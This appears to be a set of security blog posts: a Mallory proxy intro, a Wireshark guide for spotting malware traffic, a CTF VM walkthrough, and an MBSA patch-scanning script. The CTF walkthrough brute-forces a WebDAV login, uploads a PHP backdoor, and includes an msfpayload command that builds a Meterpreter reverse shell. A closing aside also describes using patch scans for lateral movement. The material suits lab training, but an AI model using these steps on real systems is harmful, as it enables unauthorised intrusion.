No, I’m not trying to re-invent the MitM initialism. However, I do want to detail setting up the Mallory intercepting proxy for use in mobile application assessments. Mallory is a useful tool for intercepting non-HTTP traffic. On a recent engagement, I had a need to proxy IMAP/S traffic to determine how the mobile application I was testing handled messaging. Alas, trusty Burp suite couldn’t help me here, so I turned to Mallory, as Mallory can intercept and tamper with non-HTTP protocol traffic.
There are the traditional AV (I actually recommend Microsoft AV) scans which have a decent(ish) chance of finding malware on your computer if it has been around awhile. However, if you believe you may of gotten infected recently and you don’t have any faith in your AV there are a few things that I recommend you do.
Step 1. Install packet capture software on a second laptop. (Wireshark FTW)
Step 2. Buy a cheap tap. SharkTap off of Amazon works fine for me. Alternatively you can run Wireshark locally, but you are running the dice that the malware doesn’t look for monitoring.
Step 3. Put cheap tap in between your potentially infected computer and the internet gateway/router…. So use your RJ45 port to connect to your home router through the tap, or use a span port on your wireless router and skip the tap altogether.
Step 4. Begin your packet capture on the laptop connected to the monitor port or tap.
Step 5. Reboot your potentially infected computer.
Step 6. Look for DNS requests in wireshark. You shouldn’t have any domains being resolved for anything but Microsoft and anything set to update. If you see a domain name you don’t recognize check it out on robtex.com, and urlvoid.com. If you see IP traffic and no DNS then check ipvoid.com Step 7. Agitate. Go visit email/facebook/bank websites and enter bad credentials. See if any of the dns/ip traffic in wireshark goes elsewhere. Look out for all the bs affiliate traffic that banners/advertising create. Vet them in robtex.com. Step8. Image your computer and change all passwords that have been entered on that computer. If you made it this far you are still going to be paranoid no matter what :/
Other tools that can help..
Before you install “questionable” apps you should use something like regshot which shows you what is actually happening during an install.
If you are installing questionable apps you should be in a VM environment so you can roll it back!!!
Process Hacker from Sourceforge or something similar lets you know which actual processes are creating outbound connections and you can also dump the strings on a process and then grep for things like wildcards (http://., etc)
From time to time we all go through periods of lulls. In most cases, it may be work or personal related, but I always feel that it is a good idea to keep working on your skills, even if your current job is not what you want it to be, career wise. For example, the other day I was checking LinkedIn and came across a post about a new “CTF” VMware framework on one of the Pentesting groups I belong to. It was touted as a victim machine that had a simple and more “advanced” version, however I think the VM I downloaded was fairly straight forward. More or less, I used it as an excuse to play around and “sharpen my knife”.
After downloading the VM, I was presented with fairly simple webpage that displayed “images”, basically it was some sort of photo album. The album allowed you to search images, register a new user, and login/logout. After scanning the system with Nmap, I found no additional ports besides SSH and HTTP. So I then proceeded to perform basic web attacks (e.g. XSS, SQLi, Command Injection, etc.). After trying some of those basic attacks, I started to think about, what if this wasn’t the actual “vulnerable” site, but just a decoy. I pulled up my trusty go-to tool, dirbuster. If you have not used dirbuster, it basically allows you to “brute-force” file and folder locations.
After letting dirbuster do its thing, I was intrigued by the directory “/webdav/” and was presented with a login prompt. I tried a few simple user/passwords combinations (e.g. admin/admin, admin/password, etc.).
After a few failed attempts, I decided to use the metasploit “auxiliary/scanner/http/http_login” module to see if I can find a correct pair. I have a few word-lists that I use, but in this case you can use the defaul MSF lists.
BAM!!! We find a successful user/password.
After logging-in we are presented with a blank page.
So I decided to use cadaver to login and see what we can do with the server.
Once I was in, I wanted to see if I had full permissions to upload a file. I did a “mkcol test”, which made a collection named test. Now we can make a backdoor and see if we can get a shell on the box. Using MSF, I made a php backdoor.
msfpayload php/meterpreter/reverse_tcp LHOST=192.168.1.13 LPORT=80 R > backdoor.php
Then back in the cadaver window, I issued “put /root/ods/backdoor.php” command to upload it to the server. Now we can setup metasploit to catch our payload using “multi handler”, browsed to the file and we have a session…simple as that.
Nothing super ground breaking, but going through the process of learning new environments, will only help you “sharpen your knife”. You can learn more about the people that made this VM, here and can download the VM, here.
I love doing “Red Teaming” stuff, but every once in awhile a customer will ask us to perform a “Blue Team” assessment in order to help them gear up for a compliance audit. For example, I did a lot of work for Energy/Utility Companies, most of that work was helping them prepare for their NERC audits. Part of this assessment was tracking down assets and finding out information. Some of these assets were PLC, HMI, Modems, etc. and other “non-traditional” devices, but for the most part there were a lot of Windows or Linux systems. For the Windows side, we had a few scripts that would gather User information, Security policies, Patch Information and other stuff. This made life easier, because we had a thumb drive that would autoload (if allowed) our batch script and gather this information in a matter of minutes. Anyway, a part of that assessment was to identify missing patches. If you are familiar with MS products, they have the Microsoft Baseline Security Analyzer (MBSA) which will gather information about missing patches and other stuff.
For this post, we will concentrate on patches. The great thing about this tool is that it has a CLI client that is added during installation. This client can be easily copied and is small enough to fit on a small to medium sized thumb drive. This client works with the Windows Update Agent (WUA). You will have to download the latest offline “.cab” file from MS. Once that is done, you can use the MBSA client to scan remote or local computers.
In this example we will be scanning a local computer. I have made a batch script to perform this.
@echo OFF echo
=== Gathering information for %COMPUTERNAME% ===
mbsacli.exe /nvc /xmlout /wi /unicode /catalog "%CD%\wsusscn2.cab" > %COMPUTERNAME%/%COMPUTERNAME%_MBSA.xml
You can easily add other things to script, but for now I will keep it basic;you can find a list of commands here. This script will make a directory, run the client and then save the output “computername.xml”.
/nvc: To avoid checking for a new version of MBSA
/wi: Permit to display all updates
/xmlout = create xml output
/unicode = used for formatting output
/catalog= telling the script to use the “.cab” file. Must specify path of cab file.
To display the full list of options use the “/?” command.
What isn’t here, is the “/listfile” command, which will take a list of servers by NetBIOS name or FQDN name and scan them. You must also specify the path of the “servers2scanlist.txt”. You can also scan a range of IP addresses with “/r”.
Note: you must have the “Wusscan.dll” in the same directory or it will not run. Also, you must be an administrator, or specify an admin user “/u” and “/p” options.
Now that we have everything in the same directory, we can start.
(1). Run the script by “double clicking”
(2). As you can see it creates the localComputerName directory and inside that directory is the MBSA XML file.
Now if we view the file, we see all the patches for this local computer.
It looks like a blob of nothing, so I created a simple python file to list whether patches are “Installed or Not Installed”.
In this case, I am more interested in patches that aren’t installed. This outputs by BulletinID, Severity, and Title. You can easily add in reference links and other information.
Ok, simple enough.
The possible evilness of this: As I said before you can easily script this scan a range. For example, say you are on a “Red Team” test and you have gathered some form of Administrative credentials, your next step would be to move laterally and work your way up to a DC and file shares. That is good, but I have known some companies to block the use of “psexec” for certain users. Of course there are other ways to move laterally besides that. But my point is, now you can use this on/from a compromised computer; or if you are on an internal test, run it from your machine. It will help you take some of the guess work out of finding your next target and seeing what they are vulnerable to. It will be noisy, however, if they have normal vulnerability scanning traffic going on it may blend right into that noise. The next steps would be to write this in PS and also update my python script to search for specific patches, display prettier format or even save to CSV or HTML. As always, files can be found on my github.